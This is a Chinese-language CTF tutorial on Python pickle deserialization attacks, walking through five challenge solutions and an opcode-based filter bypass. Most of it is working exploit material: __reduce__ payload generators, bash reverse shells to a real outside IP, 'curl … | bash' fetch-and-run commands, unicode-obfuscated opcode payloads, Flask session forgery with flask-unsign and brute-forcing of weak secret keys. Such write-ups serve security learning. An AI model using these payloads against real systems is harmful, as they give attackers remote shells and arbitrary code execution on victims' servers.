CTF题型 pickle反序列化进阶&例题&opache绕过

一.基础的pickle反序列化

pickle反序列化危害极大，不像php反序列化依赖恶意类和方法，而是直接可以RCE

关键代码

pickle.dumps(obj[, protocol])

功能：将obj对象序列化为string形式，而不是存入文件中。
参数:
obj：想要序列化的obj对象。
protocal：如果该项省略，则默认为0。如果为负值或HIGHEST_PROTOCOL，则使用最高的协议版本。

pickle.loads(string)

功能：从string中读出序列化前的obj对象。
参数:
string：文件名称。

漏洞有关的魔术方法
__reduce__

构造方法，在反序列化的时候自动执行，类似于php中的_wake_up

__setstate__

在反序列化时自动执行。它可以在对象从其序列化状态恢复时，对对象进行自定义的状态还原。

常用payload（没有os模块）

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('os').popen('tac /flag').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

环境有os模块

import pickle
import os
import base64class aaa():def __reduce__(self):return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))a= aaa()payload=pickle.dumps(a)payload=base64.b64encode(payload)
print(payload)#注意payloads生成的shell脚本需要在目标机器操作系统上执行，否则会报错

所以最好所有poc在linux上生成

例题

1.[HFCTF 2021 Final]easyflask

https://buuoj.cn/challenges#[HFCTF%202021%20Final]easyflask

非预期（任意文件读取）

直接读环境变量/proc/1/environ

预期解

app源码

#!/usr/bin/python3.6
import os
import picklefrom base64 import b64decode
from flask import Flask, request, render_template, sessionapp = Flask(__name__)
app.config["SECRET_KEY"] = "*******"User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,
})@app.route('/', methods=('GET',))
def index_handler():if not session.get('u'):u = pickle.dumps(User())session['u'] = ureturn "/file?file=index.js"@app.route('/file', methods=('GET',))
def file_handler():path = request.args.get('file')path = os.path.join('static', path)if not os.path.exists(path) or os.path.isdir(path) \or '.py' in path or '.sh' in path or '..' in path or "flag" in path:return 'disallowed'with open(path, 'r') as fp:content = fp.read()return content@app.route('/admin', methods=('GET',))
def admin_handler():try:u = session.get('u')if isinstance(u, dict):u = b64decode(u.get('b'))u = pickle.loads(u)except Exception:return 'uhh?'if u.is_admin == 1:return 'welcome, admin'else:return 'who are you?'if __name__ == '__main__':app.run('0.0.0.0', port=80, debug=False)

直接读环境变量/proc/1/environ

发现 secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

可以直接伪造secret_key

漏洞代码

@app.route('/admin', methods=('GET',))
def admin_handler():try:u = session.get('u')if isinstance(u, dict):u = b64decode(u.get('b'))u = pickle.loads(u)except Exception:return 'uhh?'

伪造session实现 读取 u 中的 b值

对b中的值进行反序列化，可以直接触发RCE

>flask-unsign --sign --cookie "{'u':{'b':'payload'}}" --secret "glzjin22948575858jfjfjufirijidjitg3uiiuuh"

在linux系统下运行

import os
import pickle
import base64
User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,'__reduce__': lambda o: (os.system, ('bash -c "bash -i >& /dev/tcp/148.135.82.190/8888 0>&1"',))
})
user=pickle.dumps(User())
print(base64.b64encode(user).decode())

生成后伪造

用hackerbar发cookie触发

可以反弹shell

2.[0xgame 2023 Notebook]

当时环境是给了源码

from flask import Flask, request, render_template, session
import pickle
import uuid
import osapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()class Note(object):def __init__(self, name, content):self._name = nameself._content = content@propertydef name(self):return self._name@propertydef content(self):return self._content@app.route('/')
def index():return render_template('index.html')@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):notes = session.get('notes')if not notes:return render_template('note.html', msg='You have no notes')note_raw = notes.get(note_id)if not note_raw:return render_template('note.html', msg='This note does not exist')note = pickle.loads(note_raw)return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)@app.route('/add_note', methods=['POST'])
def add_note():note_name = request.form.get('note_name')note_content = request.form.get('note_content')if note_name == '' or note_content == '':return render_template('index.html', status='add_failed', msg='note name or content is empty')note_id = str(uuid.uuid4())note = Note(note_name, note_content)if not session.get('notes'):session['notes'] = {}notes = session['notes']notes[note_id] = pickle.dumps(note)session['notes'] = notesreturn render_template('index.html', status='add_success', note_id=note_id)@app.route('/delete_note', methods=['POST'])
def delete_note():note_id = request.form.get('note_id')if not note_id:return render_template('index.html')notes = session.get('notes')if not notes:return render_template('index.html', status='delete_failed', msg='You have no notes')if not notes.get(note_id):return render_template('index.html', status='delete_failed', msg='This note does not exist')del notes[note_id]session['notes'] = notesreturn render_template('index.html', status='delete_success')if __name__ == '__main__':app.run(host='0.0.0.0', port=8000, debug=False)

题目分析：

app.config['SECRET_KEY'] = os.urandom(2).hex()

secret_key是弱密钥可以爆破 进行伪造

@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):notes = session.get('notes')if not notes:return render_template('note.html', msg='You have no notes')note_raw = notes.get(note_id)if not note_raw:return render_template('note.html', msg='This note does not exist')note = pickle.loads(note_raw)return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)

session伪造的结构{‘notes’:{‘note_id’:‘payload’}}

在/<path:note_id> 路由下

pickle.loads 触发反序列化

题目环境有os可以用os.system执行任意命令

具体操作

生成爆破密钥

import os
while True:secret_key=os.urandom(2).hex()with open("Desktop/secret_key.txt","a") as f:f.write(secret_key+'\n')

解析session

C:\Users\Administrator>flask-unsign --decode --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0"
C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\requests\__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.18) or chardet (5.2.0)/charset_normalizer (2.0.12) doesn't match a supported version!warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
{'notes': {'769b57ff-3d73-433a-811e-2bca92371c39': b'\x80\x04\x956\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Note\x94\x93\x94)\x81\x94}\x94(\x8c\x05_name\x94\x8c\x011\x94\x8c\x08_content\x94h\x06ub.'}}

爆破 secret_key

flask-unsign --unsign --cookie ".eJwtysEKgjAYAOBXid0HbdPWhA5rKI3IQ9M0b_7mrJgWFBnI3r2CvvM3oeH2bB8omhBfCAi5tZidOMMBYzVeEtJiCk0tKOOkYeL3ZoAi1ElzSDv5p3YqERaK5A5OWKfHOOvFvKpM5lS_dhuab_WYlDQ8Q1HkVxm_v0eXNH3BsHcwmLyWFTleghXy3n8AceAtDQ.ZgDvKw.7CbLZz_NzrKo8ZunE1HPgPKH6U0" -w "C:\Users\Administrator\Desktop\secret_key.txt"  --no-literal-eval

拿到 f991

linux下运行 题目环境有os模块

import pickle
import os
import base64class aaa():def __reduce__(self):return(os.system,('curl ip/1 |bash',))a= aaa()payload=pickle.dumps(a)
print(payload)

利用 curl 反弹shell（适用于bash/zsh） 拿到payloadb'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'

要伪造的session{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}

flask-unsign --sign --cookie "{'notes':{'769b57ff-3d73-433a-811e-2bca92371c39':b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x1ccurl 148.135.82.190/2 | bash\x94\x85\x94R\x94.'}}" --secret "f991"

可以弹回shell

3.[HZNUCTF 2023 preliminary]pickle

import base64
import pickle
from flask import Flask, requestapp = Flask(__name__)@app.route('/')
def index():with open('app.py', 'r') as f:return f.read()@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"@app.route('/readFile', methods=['GET'])
def readFile():filename = request.args.get('filename').replace("flag", "????")with open(filename, 'r') as f:return f.read()if __name__ == '__main__':app.run(host='0.0.0.0')

@app.route('/calc', methods=['GET'])
def getFlag():payload = request.args.get("payload")pickle.loads(base64.b64decode(payload).replace(b'os', b''))return "ganbadie!"

import pickle
import base64class A(object):def __reduce__(self):return (eval, ("__import__('o'+'s').popen('curl 148.135.82.190/2 | bash').read()",))a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))

二.基于opcode绕过字节码过滤

对于一些题会对传入的数据进行过滤

例如

1.if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code

2.a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a:

这个时候考虑用用到opcode
Python中的pickle更像一门编程语言，一种基于栈的虚拟机

什么是opcode

Python 的 opcode（operation code）是一组原始指令，用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符，代表一种特定的操作或指令。
在 Python 中，源代码首先被编译为字节码，然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中，并由Python 解释器按顺序解释和执行。

每个 opcode 都有其特定的功能，用于执行不同的操作，例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的
opcode，以支持各种操作和语言特性。

INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象

如何编写

原理建议直接参考https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0G0%3Dit0Q6qGNnmjYeeiKDtD9DcjlYD#toc-11

没有比这篇先知文章写的更好的

辅助生成工具pker：https://github.com/eddieivan01/pker

一般用于绕过 find_class 黑名单/白名单限制

pker用法

GLOBAL
对应opcode：b’c’
获取module下的一个全局对象（没有import的也可以，比如下面的os）：
GLOBAL(‘os’, ‘system’)
输入：module,instance(callable、module都是instance)

INST
对应opcode：b’i’
建立并入栈一个对象（可以执行一个函数）：
INST(‘os’, ‘system’, ‘ls’)
输入：module,callable,para

OBJ
对应opcode：b’o’
建立并入栈一个对象（传入的第一个参数为callable，可以执行一个函数））：
OBJ(GLOBAL(‘os’, ‘system’), ‘ls’)
输入：callable,para

xxx(xx,…)
对应opcode：b’R’
使用参数xx调用函数xxx（先将函数入栈，再将参数入栈并调用）

li[0]=321
或
globals_dic[‘local_var’]=‘hello’
对应opcode：b’s’
更新列表或字典的某项的值

xx.attr=123
对应opcode：b’b’
对xx对象进行属性设置

return
对应opcode：b’0’
出栈（作为pickle.loads函数的返回值）：
return xxx # 注意，一次只能返回一个对象或不返回对象（就算用逗号隔开，最后也只返回一个元组）

对于做题而言会opache改写就行了

INST i、OBJ o、REDUCE R 都可以调用一个 callable 对象

RCE demo:R:
b'''cos\nsystem\n(S'whoami'\ntR.'''i
b'''(S'whoami'\nios\nsystem\n.'''o
b'''(cos\nsystem\nS'whoami'\no.'''无R,i,o os可过
b'''(cos\nsystem\nS'calc'\nos.'''无R,i,o os 可过  + 关键词过滤
b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
V操作码是可以识别\u (unicode编码绕过)
特别是命令有特殊功能字符

易错点 \n是换行如果用赛博厨子 会将 \n 当作字符处理，易出错

用python处理

import base64
opcode=b''''''
print(base64.b64encode(opcode))

例题

4.[MTCTF 2022]easypickle

import base64
import pickle
from flask import Flask, session
import os
import randomapp = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()@app.route('/')
def hello_world():if not session.get('user'):session['user'] = ''.join(random.choices("admin", k=5))return 'Hello {}!'.format(session['user'])@app.route('/admin')
def admin():if session.get('user') != "admin":return f"<script>alert('Access Denied');window.location.href='/'</script>"else:try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"except:return "error!"if __name__ == '__main__':app.run(host='0.0.0.0', port=8888)

@app.route('/admin')
def admin():if session.get('user') != "admin":return f"<script>alert('Access Denied');window.location.href='/'</script>"else:try:a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")if b'R' in a or b'i' in a or b'o' in a or b'b' in a:raise pickle.UnpicklingError("R i o b is forbidden")pickle.loads(base64.b64decode(session.get('ser_data')))return "ok"except:return "error!"

b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002D\u0063\u0020\u0027\u0073\u0068\u0020\u002D\u0069\u0020\u003E\u0026\u0020\u002F\u0064\u0065\u0076\u002F\u0074\u0063\u0070\u002F\u0031\u0034\u0038\u002E\u0031\u0033\u0035\u002E\u0038\u0032\u002E\u0031\u0039\u0030\u002F\u0038\u0038\u0038\u0038\u0020\u0030\u003E\u0026\u0031\u0027\nos.'''

{'user':'admin','ser_data':'KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMkRcdTAwNjlcdTAwMjBcdTAwM0VcdTAwMjZcdTAwMjBcdTAwMkZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMkZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMkZcdTAwMzFcdTAwMzRcdTAwMzhcdTAwMkVcdTAwMzFcdTAwMzNcdTAwMzVcdTAwMkVcdTAwMzhcdTAwMzJcdTAwMkVcdTAwMzFcdTAwMzlcdTAwMzBcdTAwMkZcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMzhcdTAwMjBcdTAwMzBcdTAwM0VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu'}

5.[2021极客巅峰 opcode]

from flask import Flask
from flask import request
from flask import render_template
from flask import session
import base64
import pickle
import io
import builtinsclass RestrictedUnpickler(pickle.Unpickler):blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit', 'map'}def find_class(self, module, name):if module == "builtins" and name not in self.blacklist:return getattr(builtins, name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def loads(data):return RestrictedUnpickler(io.BytesIO(data)).load()app = Flask(__name__)app.config['SECRET_KEY'] = "y0u-wi11_neuer_kn0vv-!@#se%32"@app.route('/admin', methods = ["POST","GET"])
def admin():if('{}'.format(session['username'])!= 'admin' and str(session['username'] , encoding = "utf-8")!= 'admin'):return "not admin"try:data = base64.b64decode(session['data'])if "R" in data.decode():return "nonono"pickle.loads(data)except Exception as e:print(e)return "success"@app.route('/login', methods = ["GET","POST"])
def login():username = request.form.get('username')password = request.form.get('password')imagePath = request.form.get('imagePath')session['username'] = username + passwordsession['data'] = base64.b64encode(pickle.dumps('hello' + username, protocol=0))try:f = open(imagePath,'rb').read()except Exception as e:f = open('static/image/error.png','rb').read()imageBase64 = base64.b64encode(f)return render_template("login.html", username = username, password = password, data = bytes.decode(imageBase64))@app.route('/', methods = ["GET","POST"])
def index():return render_template("index.html")
if __name__ == '__main__':app.run(host='0.0.0.0', port='8888')

注册后解码session

已知secret_key:y0u-wi11_neuer_kn0vv-!@#se%32可以进行伪造

关键过滤：

if "R" in data.decode():return "nonono"

从其他方向回调函数即可 例如从i方向

b'''(S'bash -c 'sh -i >& /dev/tcp/148.135.82.190/8888 0>&1''\nios\nsystem\n.'''

base64编码后 KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTQ4LjEzNS44Mi4xOTAvODg4OCAwPiYxJycKaW9zCnN5c3RlbQou

伪造session {'data': b'KFMnYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTQ4LjEzNS44Mi4xOTAvODg4OCAwPiYxJycKaW9zCnN5c3RlbQou', 'username': 'admin'}

可以成功反弹shell
以后有时间手写一遍分析pvm的原理